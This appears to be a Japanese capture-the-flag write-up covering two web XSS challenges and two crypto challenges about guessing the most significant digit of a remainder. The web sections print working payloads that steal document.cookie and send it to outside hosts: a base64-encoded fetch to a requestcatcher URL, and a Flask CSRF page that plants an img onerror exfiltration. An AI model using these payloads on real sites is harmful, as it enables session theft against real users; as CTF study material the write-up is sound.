[web] Warmdown
Warmdown = Warmup + Markdown
markdownを入れると変換してくれるサイトが与えられる。この問題に任意の入力を与えて、XSSしてcookieを抜き出すのがゴール。サイトの実装は以下。
import fastify from "fastify"; import * as marked from "marked"; import path from "node:path"; const app = fastify(); app.register(await import("@fastify/static"), { root: path.join(import.meta.dirname, "public"), prefix: "/", }); const sanitize = (unsafe) => unsafe.replaceAll("<", "<").replaceAll(">", ">"); const escapeHtml = (str) => str .replaceAll("&", "&") .replaceAll("<", "<") .replaceAll(">", ">") .replaceAll('"', """) .replaceAll("'", "'"); const unescapeHtml = (str) => str .replaceAll("&", "&") .replaceAll("<", "<") .replaceAll(">", ">") .replaceAll(""", '"') .replaceAll("'", "'"); app.get("/render", async (req, reply) => { const markdown = sanitize(String(req.query.markdown)); if (markdown.length > 1024) { return reply.status(400).send("Too long"); } const escaped = escapeHtml(marked.parse(markdown)); const unescaped = unescapeHtml(escaped); return { escaped, unescaped }; }); app.listen({ port: 3000, host: "0.0.0.0" });
入力したmarkdownに対し、Sanitize関数によるサニタイズがあったあと、markedによる変換があって、escapeHtmlをして、unescapeHTMLしている。本番では深く考えず、とりあえず<img
を投げてみると画面上消え、imgタグが作られていた。ダブルアンエスケープになっているようだ。(調べていないがmarked?)onerrorでアラートも動いたので後はやるだけ。変換で何かされるか考えるのを省くためにbase64エンコードしたものをデコードしてevalする方針で投げた。
fetch('https://fsjksafjksadjasdjkjk534.requestcatcher.com/test', { method : 'post', body: document.cookie })
こういうのをbase64エンコードして以下のように投げるとrequestcatcherにフラグが飛んでくる。
<img src=x onerror=eval(atob("ZmV0Y2goJ2h0dHBzOi8vZnNqa3NhZmprc2FkamFzZGprams1MzQucmVxdWVzdGNhdGNoZXIuY29tL3Rlc3QnLCB7IG1ldGhvZCA6ICdwb3N0JywgYm9keTogZG9jdW1lbnQuY29va2llIH0p"));//
[web] Slide Sandbox
Create the ultimate slide puzzle.
Using the sandbox attribute makes it safe, right?
3rd blood!
3×3のスライドパズルを生成するサイトが与えられる。botも存在し、題名をフラグ名にしたスライドパズルを作成した後、指定のurlを踏んでくれる。XSSする問題。
パズルを表示するページが重要で以下のような実装になっている。
<body> <h1 class="title" id="title"></h1><br> <div class="game-area"> <div class="puzzle-container" id="puzzle"> <iframe id="frame0" sandbox="allow-same-origin"></iframe> <iframe id="frame1" sandbox="allow-same-origin"></iframe> <iframe id="frame2" sandbox="allow-same-origin"></iframe> <iframe id="frame3" sandbox="allow-same-origin"></iframe> <iframe id="frame4" sandbox="allow-same-origin"></iframe> <iframe id="frame5" sandbox="allow-same-origin"></iframe> <iframe id="frame6" sandbox="allow-same-origin"></iframe> <iframe id="frame7" sandbox="allow-same-origin"></iframe> <iframe id="frame8" sandbox="allow-same-origin"></iframe> </div> <div class="message"> <a href="/">TOP</a> </div> </div> </body> <script> let pieces = Array(); fetch('/puzzles/' + (new URLSearchParams(location.search)).get('id')) .then(r => r.json()) .then(puzzle => { document.getElementById('title').innerText = puzzle.title; const ans = puzzle.answers.split('').sort(() => Math.random() - 0.5); // Sometimes the puzzles are impossible. Forgive please. ans.forEach((v, i) => { pieces.push(document.createElement("div")); }) pieces.push(document.createElement("div")) for (var i = 0; i < frames.length; i++) { frames[i].addEventListener("click", slide); frames[i].document.body.appendChild(pieces[i]); } ans.forEach((v, i) => { pieces[i].innerHTML = puzzle.template.replaceAll("{{v}}", v); }) }); function slide(e) { // ... [reducted] ... }; </script>
パズルのデータを持ってきて、各フレームにinnerHTMLで入れ込んでいる。innerHTMLで入れ込んでいて、入力に関しては自由に入れられるためXSSは簡単そうだが、埋め込み先のiframeがsandbox="allow-same-origin"
となっているのでちゃんと動かない。さあ、どうするか。
1日目
allow-same-origin
だけが付いている状態でXS Leakとかできないか?CSSくらいしか使えそうなものが無いが...とか、{{v}}を変換する機能があるのでこれを効果的に使うのでは?とか、抜くのはCookieではなくIDとかフラグ直接か?みたいなことを考えていて終わった。
2日目
起きて改めて問題を眺める。とりあえず、sandbox付きのiframeに入れ込むと無理そうだなという観点から考えてみると、pazzleのanswerが怪しく見えてくる。answerはスライドパズルに配置する文字を8文字で指定する機能で、
サーバーサイドのjs側では
answers: { type: "string", minLength: 8, maxLength: 8 },
のようにバリデーションされる。クライアントサイドでは
const ans = puzzle.answers.split('').sort(() => Math.random() - 0.5); ans.forEach((v, i) => { pieces.push(document.createElement("div")); }) pieces.push(document.createElement("div")) for (var i = 0; i < frames.length; i++) { frames[i].addEventListener("click", slide); frames[i].document.body.appendChild(pieces[i]); } ans.forEach((v, i) => { pieces[i].innerHTML = puzzle.template.replaceAll("{{v}}", v); })
のようにsplitされてその個数+1分のdivを作って、iframeに置いてinnerHTMLで差し込みをしている。8個より多くに分割できるかもとアイデアが浮かび、ここまで来ればUnicodeでいけそうな雰囲気はしてくるのでガチャガチャやってみると、answerを123👨👨👦
とすると9個全てのマスに文字を差し込むことができた!
ただのバグの可能性もあったが、かなりテンションが上がる。このanswerだとsplit後は11個になる。これで、9個のiframe全てにdivを埋め込ませることができ、2個は余らせることができる。でテンションそのままに画像ではhogeにしているが、これを<img src onerror=alert(origin)>
にしてみると...
アラートが出ます。ちなみにですが、なぜこの余ったdivにimgタグを入れ込むと読み込まれてXSSが発火するのかはよく分かっていません。
Self XSS + CSRF
このままだとSelf XSSなので、CSRFを併用してbotに踏ませることでXSSを発火させる。payloadを見れば分かると思うが、注意点としてngrokのようにhttpsからhttpのPOSTを踏ませるとうまく動かない。(httpsからhttp://localhostは大丈夫だったので切り分けに苦しみました)httpでサイトをホストできる所を見つけて、以下のスクリプトのようにしてCSRFからのSelf XSSで、cookieを抜き取る。
from flask import Flask, request, jsonify from flask_cors import CORS app = Flask(__name__) CORS(app) TARGET = "http://web:3000/" NGROK = "http://[redacted]:443/" @app.route('/poc') def poc(): html = """ <form id="puzzleForm" method="post" action="{{TARGET}}create"> <input type="text" id="new-title" name="title" value="なぜこれで動くかは分かっていません"> <textarea id="new-template" name="template" rows="5"><img src onerror=fetch(`{{NGROK}}flag?${document.cookie}`)></textarea> <input type="text" id="new-answers" name="answers" value="123👨<200d>👨<200d>👦"> <button type="submit" id="new-button">Submit</button> </form> <script> const sleep = ms => new Promise(r => setTimeout(r, ms)); setTimeout(async () => { await sleep(10000); document.getElementById('puzzleForm').submit(); }, 0); </script> """ html = html.replace('{{TARGET}}', TARGET) html = html.replace('{{NGROK}}', NGROK) return html @app.route('/flag') def receive_flag(): print(request.args) return 'thx!', 200 if __name__ == "__main__": print("Server running at http://localhost:8000") app.run(host='0.0.0.0', port=8000, debug=True)
これで/flag
にcookieが抜けてきて、botのセッション情報が抜ける。あとは、それを使ってアクセスするとフラグが手に入る。
[crypto] Crypto Baby MSD
👶 < Guess the most significant digit!
以下のような流れの問題。
- 1060 から 10100 の範囲でランダムな秘密値を2000個生成し、その都度Mを入力、その余りを計算する
- 余りの最上位桁(1桁目)を集計し、どの数字が最も多く現れたかを予測する。失敗するとプログラムは終了
- これを100ステージ繰り返し、全てクリアするとフラグが得られる
問題コード
#!/usr/bin/env python3 from sys import exit from random import randint def stage(): digit_counts = [0 for i in range(10)] for i in range(2000): secret = randint(10 ** 60, 10 ** 100) M = int(input("Enter mod: ")) if M < 10 ** 30: print("Too small!") exit(1) msd = str(secret % M)[0] digit_counts[int(msd)] += 1 choice = int(input("Which number (1~9) appeared the most? : ")) for i in range(10): if digit_counts[choice] < digit_counts[i]: print("Failed :(") exit(1) print("OK") def main(): for i in range(100): print("==== Stage {} ====\n".format(i+1)) stage() print("You did it!") with open("flag.txt", "r") as f: print(f.read()) if __name__ == '__main__': main()
どのような数が来ても、最上位の数字に偏りがあるような法が無いかを実験で探すとM = 2 × 1030でやると半数の最上位の数字を1にすることができた。これはmod Mの値を考えると、約半分が1 × 1030~2 × 1030-1になり、先頭が全部1になるためである。あとは、実装するだけ。
from ptrlib import * #p = Process(["python3", "chal.py"]) p = remote("[redacted]", 12343) M = 2 * (10**30) for stage in range(100): print(f"Stage {stage + 1}") payload = (str(M) + "\n") * 2000 p.send(payload.encode()) p.sendlineafter(b"Which number (1~9) appeared the most? : ", b"1") p.interactive()
[crypto] MSD
Guess the most significant digit!
前問とほぼ同じ問題だが、ステージ毎に使う秘密値は1つのみに変更される。
- 1060 から 10100 の範囲でランダムな秘密値を1個生成し、その秘密値に対して2000回Mを入力、その余りを計算する
- 余りの最上位桁(1桁目)を集計し、どの数字が最も多く現れたかを予測する。失敗するとプログラムは終了
- これを100ステージ繰り返し、全てクリアするとフラグが得られる
問題コード
#!/usr/bin/env python3 from sys import exit from random import randint def stage(): digit_counts = [0 for i in range(10)] secret = randint(10 ** 60, 10 ** 100) for i in range(2000): M = int(input("Enter mod: ")) if M < 10 ** 30: print("Too small!") exit(1) msd = str(secret % M)[0] digit_counts[int(msd)] += 1 choice = int(input("Which number (1~9) appeared the most? : ")) for i in range(10): if digit_counts[choice] < digit_counts[i]: print("Failed :(") exit(1) print("OK") def main(): for i in range(100): print("==== Stage {} ====\n".format(i+1)) stage() print("You did it!") with open("flag.txt", "r") as f: print(f.read()) if __name__ == '__main__': main()
方針は前問と同じだが、M = 2 × 1030固定にするとたまたま外してしまうと失敗するステージが出てきてしまう。なので、M = 2 × 1030固定ではなくM = 2 × 1031、M = 2 × 1032のような状況は同じであるが、異なる法を使うことで解決しよう。2000回の確認が可能だが、それを20グループに分け、M = 2 × 1030で100回、M = 2 × 1031で100回、M = 2 × 1032で100回みたいに聞いて、結果を集計する。
これなら、どれかの法で1ではない秘密値を引いてしまっても他の法では正しく判定ができ、総合すると安定して判定ができるようになる。ソルバーは以下。
from pwn import * #r = process(["python3", "chal.py"]) r = remote("[redacted]", 18374) N = 20 for stage in range(100): print(f"Stage {stage + 1}") payload = "" for i in range(N): payload += (str(2 * 10**(30 + i)) + "\n") * (2000 // N) r.send(payload.encode()) r.sendlineafter(b"Which number (1~9) appeared the most? : ", b"1") r.interactive()